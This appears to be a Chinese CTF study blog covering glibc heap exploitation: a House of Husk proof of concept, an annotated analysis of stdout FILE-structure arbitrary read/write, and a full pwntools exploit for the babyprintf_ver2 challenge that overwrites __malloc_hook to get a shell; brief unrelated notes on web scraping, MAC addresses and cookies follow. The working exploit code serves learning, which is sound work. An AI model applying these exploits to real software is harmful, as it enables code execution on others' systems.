至于怎么伪造这两个表呢?这是 House Of Husk 的又一大核心,看看下面的案例就清楚了

House Of Husk 利用姿势

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* Husk's method - House of Husk
* This PoC is supposed to be run with libc-2.27
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdin, NULL);
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500);
/* 用于模拟UAF的chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
/* 用于伪造__printf_function_table */
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
/* 用于伪造__printf_arginfo_table */
a[3] = malloc(0x500);
/* 防止和top chunk合并 */

free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);
/* 释放a[0]同时泄露libc_base */

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* 将__printf_arginfo_table['X']处的函数指针改为one_gadget */
/* PS:这里的“-2”实际上是减去“presize”和“size” */

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* 使用unsorted bin attack,改写global_max_fast为main_arena+88,从而使得释放的所有块都按fastbin处理 */

/* overwrite __printf_arginfo_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);// __printf_arginfo_table => one_gadget

/* ignite! */
getchar();
printf("%X", 0);

return 0;
}
1
2
3
4
5
6
7
➜  桌面 gcc ./test.c -g -fPIE -no-pie -o test
➜ 桌面 patchelf --set-interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath /home/yhellow/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64 test
➜ 桌面 ./test
libc @ 0x7f7edf71f000

$ whoami
yhellow
  • 程序先利用 unsortedbin 泄露 libc_base
  • 然后利用 UAF 来进行 unsortedbin attack 在 GLOBAL_MAX_FAST 中写入 main_arena + 88
  • 接下来在 fake __printf_arginfo_table 中,把 ‘X’ 的 spec 索引替换为 one_gadget
  • 最后的两个 free 会把 “a[1] , a[2]” 装入 fastbin 中,然后这两个表就已经成功覆盖了

看上去很玄幻,但其实是利用了 main_arena 的特性:

fastbin 的堆块地址会存放在 main_arena 中,从 main_arena+8 存放 fastbin[0x20] 的头指针开始,一直往后推,由于平时的 fastbin 默认阈值为 0x80 ,所以在 glibc-2.23 的环境下最多存放到 main_arena+0x48 ,现在我们将阈值改为 main_arena + 88 导致几乎所有 size 的 chunk 都被当做fastbin,其地址会从 main_arena+8 开始,根据 size 不同往 libc 覆写堆地址

所以只要 size 的大小合适,就可能会覆盖到 __printf_arginfo_table__printf_function_table

利用条件

  • UAF
  • 有修改模块
  • 可以申请较大size的chunk

IO_FILE源码分析:stdout任意读写

stdin 只能输入数据到缓冲区,因此只能进行写,而 stdout 会将数据拷贝至输出缓冲区,并将输出缓冲区中的数据输出出来,所以如果可控 stdout 结构体,通过构造可实现利用其进行任意地址读以及任意地址写

stdout任意写

任意写的主要原理为:构造好输出缓冲区将其改为想要任意写的地址,当输出数据可控时,会将数据拷贝至输出缓冲区,即实现了将可控数据拷贝至我们想要写的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# define _IO_new_file_xsputn _IO_file_xsputn

_IO_size_t
_IO_new_file_xsputn (f, data, n) /* n==request */
_IO_FILE *f;
const void *data;
_IO_size_t n;
{
register const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count;

if (n <= 0)
return 0;

/* First figure out how much space is available in the buffer. */
count = f->_IO_write_end - f->_IO_write_ptr; /* 判断输出缓冲区还有多少空间 */
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr; /* 判断输出缓冲区还有多少空间 */
if (count >= n) /* 输出缓冲区够用 */
{
register const char *p;
for (p = s + n; p > s; )
{
if (*--p == '\n')
{
count = p - s + 1; /* 重新调整输出缓冲区的可用size */
must_flush = 1;
break;
}
}
}
}
/* Then fill the buffer. */
if (count > 0) /* 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区 */
{
if (count > to_do)
count = to_do;
if (count > 20)
{
#ifdef _LIBC
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
memcpy (f->_IO_write_ptr, s, count); /* 将目标输出数据拷贝至输出缓冲区 */
f->_IO_write_ptr += count;
#endif
s += count; /* 计算是否还有目标输出数据剩余 */
}
else
{
register char *p = f->_IO_write_ptr;
register int i = (int) count;
while (--i >= 0)
*p++ = *s++;
f->_IO_write_ptr = p;
}
to_do -= count; /* 计算是否还有目标输出数据剩余 */
}
if (to_do + must_flush > 0)
/* 如果还有目标数据剩余,此时则表明输出缓冲区未建立或输出缓冲区已经满了 */
{
_IO_size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
return n - to_do;

/* Try to maintain alignment: write a whole number of blocks.
dont_write is what gets left over. */
block_size = f->_IO_buf_end - f->_IO_buf_base; /* 检查输出数据是否是大块 */
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}

/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}

任意写功能的实现在于:IO缓冲区没有满时,会先将要输出的数据复制到缓冲区中,可通过这一点来实现任意地址写的功能,可以看到任意写好像很简单,只需将 _IO_write_ptr 指向 write_start_IO_write_end 指向 write_end 即可

将上述条件综合描述为:

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x8000
  • 设置 _IO_write_ptr 指向 write_start (目标地址)
  • 设置 _IO_write_end 指向 write_end (目标地址结束)

stdout任意读

想要输出的内容会先放入输出缓冲区中,然后再输出到屏幕上

  • 如果可以控制 _IO_write_base ,就可以控制屏幕打印的起始地址
  • 如果可以控制 _IO_write_ptr ,就可以控制屏幕打印的结束地址
  • 如果满足一些条件,下次调用输出函数时,就可以输出我们想要的内容

f->_IO_write_end > f->_IO_write_ptr 时(输出缓冲区内有可用的空间),会调用 memcpy 拷贝数据到输出缓冲区,然后输出到屏幕,为了不让 memcpy 覆盖我们想要打印的数据,所以需要构造 f->_IO_write_end 等于 f->_IO_write_ptr

接着进入 _IO_OVERFLOW 函数,去刷新输出缓冲区,跟进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# define _IO_new_file_overflow _IO_file_overflow

int
_IO_new_file_overflow (f, ch)
_IO_FILE *f;
int ch;
{
if (f->_flags & _IO_NO_WRITES)
/* 检测IO_FILE的_flags是否包含_IO_NO_WRITES标志位 */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}

if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == 0)
{
if (f->_IO_write_base == 0) /* 表明输出缓冲区尚未建立 */
{
_IO_doallocbuf (f); /* 调用_IO_doallocbuf函数去分配输出缓冲区 */
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
}
/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (f->_IO_read_ptr == f->_IO_buf_end) /* 初始化其他指针 */
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;

f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF+_IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF)
return _IO_new_do_write(f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
/* 执行_IO_new_do_write,利用系统调用write输出输出缓冲区 */
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_new_do_write(f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
  • 首先判断 _flags 是否包含 _IO_NO_WRITES ,如果包含则直接返回,因此需构造 _flags 不包含 _IO_NO_WRITES(其定义为 #define _IO_NO_WRITES 8
  • 接着判断缓冲区是否为空以及是否包含 _IO_CURRENTLY_PUTTING 标志位,如果包含的话则做一些多余的操作,可能不可控,因此最好定义 _flags 不包含 _IO_CURRENTLY_PUTTING ,其定义为 #define _IO_CURRENTLY_PUTTING 0x800
  • 接着调用 _IO_do_write 去输出输出缓冲区,其传入的参数是 f->_IO_write_base ,大小为 f->_IO_write_ptr - f->_IO_write_base ,因此若想实现任意地址读,应构造 _IO_write_baseread_start ,构造 _IO_write_ptrread_end

跟进去 _IO_do_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# define _IO_new_do_write _IO_do_write

int
_IO_new_do_write (fp, data, to_do)
_IO_FILE *fp;
const char *data;
_IO_size_t to_do;
{
return (to_do == 0 || new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}

static
int
new_do_write (fp, data, to_do)
_IO_FILE *fp;
const char *data;
_IO_size_t to_do;
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
is not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
/* 调整文件偏移 */
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); /* 利用系统调用更新输出缓冲区 */
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
/* 刷新设置缓冲区指针 */
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF+_IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
  • 看到在调用 _IO_SYSWRITE 之前还判断了 fp->_IO_read_end != fp->_IO_write_base ,因此需要构造结构体使得 _IO_read_end 等于 _IO_write_base
  • 也可以构造 _flags 包含 _IO_IS_APPENDING ,(_IO_IS_APPENDING 的定义为 #define _IO_IS_APPENDING 0x1000 ),这样就不会走后面的这个判断而直接执行到 _IO_SYSWRITE 了,一般我都是设置 _IO_read_end 等于 _IO_write_base
  • 最后 _IO_SYSWRITE 调用 write (f->_fileno, data, to_do) 输出数据到屏幕,因此还需构造 _fileno 为标准输出描述符1

将上述条件综合描述为:

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _fileno 为1
  • 设置 _IO_write_base 指向想要泄露的地方
  • 设置 _IO_write_ptr 指向泄露结束的地址
  • 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING(即 _flag | 0x1000
  • 设置 _IO_write_end 等于 _IO_write_ptr (非必须)

babyprintf_ver2 复现

1
2
3
4
5
➜  桌面 ./main  
Welcome to babyprintf_v2.0
heap is too dangrous for printf :(
So I change the buffer location to 0x563c5e002010
Have fun!
1
2
3
4
5
6
7
8
9
main: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fb30593381079dbed29611d4cc5f9c4597b208b8, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

64位,dynamically,开了NX,开了PIE,开了FORTIFY,Full RELRO

FORTIFY:FORTIFY_SOURCE 机制对格式化字符串有两个限制

  • 包含%n的格式化字符串不能位于程序内存中的可写地址
  • 当使用位置参数时,必须使用范围内的所有参数,所以如果要使用“%7$x”,你必须同时使用1,2,3,4,5,6
1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release versio

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3; // r13
FILE *v4; // r14
char buf; // [rsp+3h] [rbp-35h] BYREF
int i; // [rsp+4h] [rbp-34h]
unsigned __int64 v7; // [rsp+8h] [rbp-30h]

v7 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
puts("Welcome to babyprintf_v2.0");
puts("heap is too dangrous for printf :(");
__printf_chk(1LL, "So I change the buffer location to %p\n", ptr); /* 绕PIE */
puts("Have fun!");
while ( 1 )
{
i = 0;
v3 = *(_QWORD *)&stdout[1]._flags;
while ( 1 )
{
read(0, &buf, 1uLL);
ptr[i] = buf; /* 栈溢出 */
if ( ptr[i] == 10 )
break;
if ( ++i > 511 ) // 字节限制 512
goto LABEL_6;
}
ptr[i] = 0;
LABEL_6:
v4 = stdout;
if ( *(_QWORD *)&stdout[1]._flags != v3 )
{
write(1, "rewrite vtable is not permitted!\n", 0x21uLL);
*(_QWORD *)&v4[1]._flags = v3;
}
__printf_chk( /* __printf_chk 格式化和打印数据,并进行堆栈检查 */
1LL,
ptr, /* 格式化漏洞 */
3735928559LL, /* 填入了许多垃圾数据 */
3735928559LL,
3735928559LL,
3735928559LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL,
-559038737LL);
}
}

有栈溢出,可以从溢出 .data 到 .bss

有格式化字符串漏洞,先看看stack中的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> stack 50
00:0000│ rsp 0x7ffec7539a30 ◂— 0xffffffffdeadbeef
... ↓ 49 skipped
32:01900x7ffec7539bc0 ◂— 0xffffffffdeadbeef
... ↓ 9 skipped
3c:01e0│ rbp-3 0x7ffec7539c10 ◂— 0x80a539c3e
3d:01e80x7ffec7539c18 ◂— 0xbc0cd56dea1a9800
3e:01f0│ 0x7ffec7539c20 ◂— 0x0
3f:01f8│ 0x7ffec7539c28 —▸ 0x563924a00a50 ◂— push r15
40:02000x7ffec7539c30 —▸ 0x563924a00940 ◂— xor ebp, ebp
41:02080x7ffec7539c38 —▸ 0x7ffec7539d20 ◂— 0x1
42:02100x7ffec7539c40 ◂— 0x0
43:02180x7ffec7539c48 —▸ 0x7f72569c2840 (__libc_start_main+240) ◂— mov edi, eax
44:02200x7ffec7539c50 ◂— 0x1
45:02280x7ffec7539c58 —▸ 0x7ffec7539d28 —▸ 0x7ffec753a39b ◂— 0x54006e69616d2f2e /* './main' */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 RAX  0x0
RBX 0x563924c02010 ◂— 'aaaaaaaa'
RCX 0xdeadbeef
RDX 0xdeadbeef
RDI 0x1
RSI 0x563924c02010 ◂— 'aaaaaaaa'
R8 0xdeadbeef
R9 0xdeadbeef
R10 0x0
R11 0x246
R12 0xdeadbeef
R13 0x7f7256d656e0 (_IO_file_jumps) ◂— 0x0
R14 0x7f7256d67620 (_IO_2_1_stdout_) ◂— 0xfbad2887
R15 0x0
RBP 0x7ffec7539c13 ◂— 0x1a9800000000080a
*RSP 0x7ffec7539a30 ◂— 0xffffffffdeadbeef
*RIP 0x563924a00921 ◂— call 0x563924a006a0

初步计算得知偏移为“73”,但程序开了FORTIFY,只能另寻他路

入侵思路

FORTIFY阻止了格式化字符串,这时就需要 stdout 任意读,这就需要劫持或伪造 stdout 的FILE结构体(看起来好像难以完成,似乎不可能控制该FILE结构体)

但在栈中有办法可以伪造FILE,程序使用了“stdout”关键字(并且没有初始化),所以“stdout”会出现在 .bss 中,可以通过覆盖“stdout”的值来伪造FILE结构体的位置

1
2
.data:0000000000202010 ptr             db 'hello world',0     
.bss:0000000000202020 stdout dq ?

先绕开PIE:

1
2
3
4
5
p.recvuntil('So I change the buffer location to ')
leak_addr=eval(p.recvuntil('\n')[:-1])
pro_base=leak_addr-2105360
success('leak_addr >> '+hex(leak_addr))
success('pro_base >> '+hex(pro_base))

stdout 任意读需要的条件是:

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _fileno 为1
  • 设置 _IO_write_base 指向想要泄露的地方
  • 设置 _IO_write_ptr 指向泄露结束的地址
  • 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING(即 _flag | 0x1000
  • 设置 _IO_write_end 等于 _IO_write_ptr (非必须)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> p* & *stdout
$1 = {
_flags = -72537977,
_IO_read_ptr = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7f4fa3d276a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7f4fa3d276a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f4fa3d268e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f4fa3d28780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f4fa3d267a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
}
1
2
3
4
pwndbg> telescope 0x00007f9e532ca620
00:00000x7f9e532ca620 (_IO_2_1_stdout_) ◂— 0xfbad2887 /* _flags */
01:00080x7f9e532ca628 (_IO_2_1_stdout_+8) —▸ 0x7f9e532ca6a3 (_IO_2_1_stdout_+131) ◂— 0x2cb780000000000a /* '\n' */
... ↓ 6 skipped

_flag 的伪造相对麻烦一点,其他的伪造只要知道程序基地址就行

1
2
3
4
5
6
7
8
9
10
11
In [1]: 0xfbad2887&~0x8|0x800 
Out[1]: 4222429319

In [2]: hex(4222429319) /* 就是_flag本身,_flag的基础检查已经完成 */
Out[2]: '0xfbad2887'

In [3]: 0xfbad2887|0x8000 /* 这里的"|0x8000"是为了满足printf的条件(后续进行分析) */
Out[3]: 4222462087

In [4]: hex(4222462087) /* _flag完成计算 */
Out[4]: '0xfbada887'

下面这个函数是我从网上抄的,还挺好用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0):
fake_IO = flat([
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end])
fake_IO += flat([0,0,0,0,_chain,_fileno])
fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0])
fake_IO += flat([0,0,0,0xFFFFFFFF,0,0])
return fake_IO

fake_IO_addr=pro_base+0x202028
fake_IO = FILE(_flags = 0xfbada887,_IO_write_base = pro_base + 0x201FE0,_IO_write_ptr = pro_base+ 0x201FE0 + 8,_fileno = 1,_IO_read_end=pro_base + 0x201FE0)

"""
设置_IO_write_base指向想要泄露的地方
设置_IO_write_ptr指向泄露结束的地址
设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING
设置_IO_write_end等于_IO_write_ptr(非必须)
"""

payload = '\x00'*0x10
payload += p64(fake_IO_addr)
payload += fake_IO
p.sendline(payload)

整体思路就是覆盖 .bss 上的“stdout”为一个可控地址,然后在这里写入 fake_IO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> telescope 0x55ff2a202010
00:0000│ rbx r10 0x55ff2a202010 ◂— 0x0
01:00080x55ff2a202018 ◂— 0x0
02:00100x55ff2a202020 (stdout) —▸ 0x55ff2a202028 ◂— 0xfbada887
03:0018│ r14 0x55ff2a202028 ◂— 0xfbada887
/* _flags */
04:00200x55ff2a202030 ◂— 0x0
/* _IO_read_ptr */
05:00280x55ff2a202038 —▸ 0x55ff2a201fe0 —▸ 0x7f4796932750 (__libc_start_main) ◂— push r14
/* _IO_read_end */
06:00300x55ff2a202040 ◂— 0x0
/* _IO_read_base */
07:00380x55ff2a202048 —▸ 0x55ff2a201fe0 —▸ 0x7f4796932750 (__libc_start_main) ◂— push r14
/* _IO_write_base */
08:00400x55ff2a202050 —▸ 0x55ff2a201fe8 ◂— 0x0
/* _IO_write_ptr */
1
2
3
4
5
6
p.sendline("y")
p.recvuntil("rewrite vtable is not permitted!\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-132944
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

获取了基础信息,就需要用 stdout 任意写来获取shell了,stdout 任意写的条件是:

  • 设置 _IO_write_ptr 指向 write_start (目标地址)
  • 设置 _IO_write_end 指向 write_end (目标地址结束)

注意:接下来的 stdout 任意写还是基于printf,所以“_flag|0x8000”这一步必须存在

1
2
3
4
5
6
7
fake_IO_write = FILE(_flags = 0xfbada887,_IO_write_ptr = malloc_hook,_IO_write_end = malloc_hook + 8,_fileno = 0)
payload = p64(one_gadget) + p64(0)
payload += p64(pro_base+0x202028)
payload += fake_IO_write

p.sendline(payload)
p.sendline('%n')

程序会把输入的数据覆盖到 _IO_write_ptr(mallo_hook),也就是把进行了 malloc_hook 劫持

其中 %n 可触发malloc的原因是在于: __readonly_area 会通过 fopen 打开 maps 文件来读取内容来判断地址段是否可写,而 fopen 会调用 malloc 函数申请空间,因此触发

printf 函数中会调用 _IO_acquire_lock_clear_flags2 (stdout) 来获取 lock 从而继续程序,如果没有 _IO_USER_LOCK 标志的话,程序会一直在循环,而 _IO_USER_LOCK 定义为 #define _IO_USER_LOCK 0x8000 ,因此需要设置 flag|=0x8000 才能够使exp顺利进行

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

p=process('./main')
elf=ELF('./main')
libc=ELF('./libc-2.23.so')
context.arch='AMD64'

#gdb.attach(p)

def FILE(_flags=0,_IO_read_ptr=0,_IO_read_end=0,_IO_read_base=0,_IO_write_base=0,_IO_write_ptr=0,_IO_write_end=0,_IO_buf_base=0,_IO_buf_end=1,_fileno=0,_chain=0):
fake_IO = flat([
_flags,
_IO_read_ptr, _IO_read_end, _IO_read_base,
_IO_write_base, _IO_write_ptr, _IO_write_end,
_IO_buf_base, _IO_buf_end])
fake_IO += flat([0,0,0,0,_chain,_fileno])
fake_IO += flat([0xFFFFFFFFFFFFFFFF,0,0,0xFFFFFFFFFFFFFFFF,0,0])
fake_IO += flat([0,0,0,0xFFFFFFFF,0,0])
return fake_IO

p.recvuntil('So I change the buffer location to ')
leak_addr=eval(p.recvuntil('\n')[:-1])
pro_base=leak_addr-2105360
success('leak_addr >> '+hex(leak_addr))
success('pro_base >> '+hex(pro_base))

fake_IO_addr=pro_base+0x202028
fake_IO = FILE(_flags = 0xfbada887,_IO_write_base = pro_base + 0x201FE0,_IO_write_ptr = pro_base+ 0x201FE0 + 8,_fileno = 1,_IO_read_end=pro_base + 0x201FE0)

payload = '\x00'*0x10
payload += p64(fake_IO_addr)
payload += fake_IO
p.sendline(payload)

p.sendline("y")
p.recvuntil("rewrite vtable is not permitted!\n")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_base=leak_addr-132944
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_hook = libc_base + libc.sym['__realloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget_list=[0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = one_gadget_list[1] + libc_base

fake_IO_write = FILE(_flags = 0xfbada887,_IO_write_ptr = malloc_hook,_IO_write_end = malloc_hook + 8,_fileno = 0)
payload = p64(one_gadget) + p64(0)
payload += p64(pro_base+0x202028)
payload += fake_IO_write

p.sendline(payload)
p.sendline('%n')

p.interactive()

小结:

这就是 IO_pwn 的最后一个内容了,另外还收获了一个很好用的模板

Python网络数据采集

我最近一时兴起,想学一学爬虫,于是选择了这本书

通过这几天的学习,我的爬虫算是入门了,去网上爬一爬网图应该没有问题

但我暂时不打算继续深入了(后面的知识就比较专业了),这里就记录一下我的学习经过……


思考网络爬虫时通常的想法

  • 通过网站域名获取 HTML 数据
  • 根据目标信息解析数据
  • 存储目标信息
  • 如果有必要,移动到另一个网页重复这个过程

PS:MAC地址

MAC(Media Access Control,介质访问控制),或称为物理地址,MAC位址,硬件位址,用来定义网络设备的位置

  • 第三层网络层负责 IP 地址,第二层数据链路层则负责 MAC 位址
  • 因此一个主机会有一个IP地址,而每个网络位置会有一个专属于它的 MAC 位址
  • MAC 地址,用来表示互联网上每一个站点的标识符,采用十六进制数表示,共六个字节(48位)
  • 前三个字节是由 IEEE 的注册管理机构 RA 负责给不同厂家分配的代码(高位24位),也称为“编制上唯一的标识符”(Organizationally Unique Identifier)
  • 后三个字节(低位24位)由各厂家自行指派给生产的适配器接口,称为扩展标识符(唯一性)
  • 一个地址块可以生成2^24个不同的地址
  • MAC地址实际上就是适配器地址或适配器标识符EUI-48

MAC地址具有唯一性,它是雕在硬件设备上的(不能更改),生产厂家一生产就会把它分配给每个机器

Cookie是保存在客户端的纯文本文件(比如txt文件)

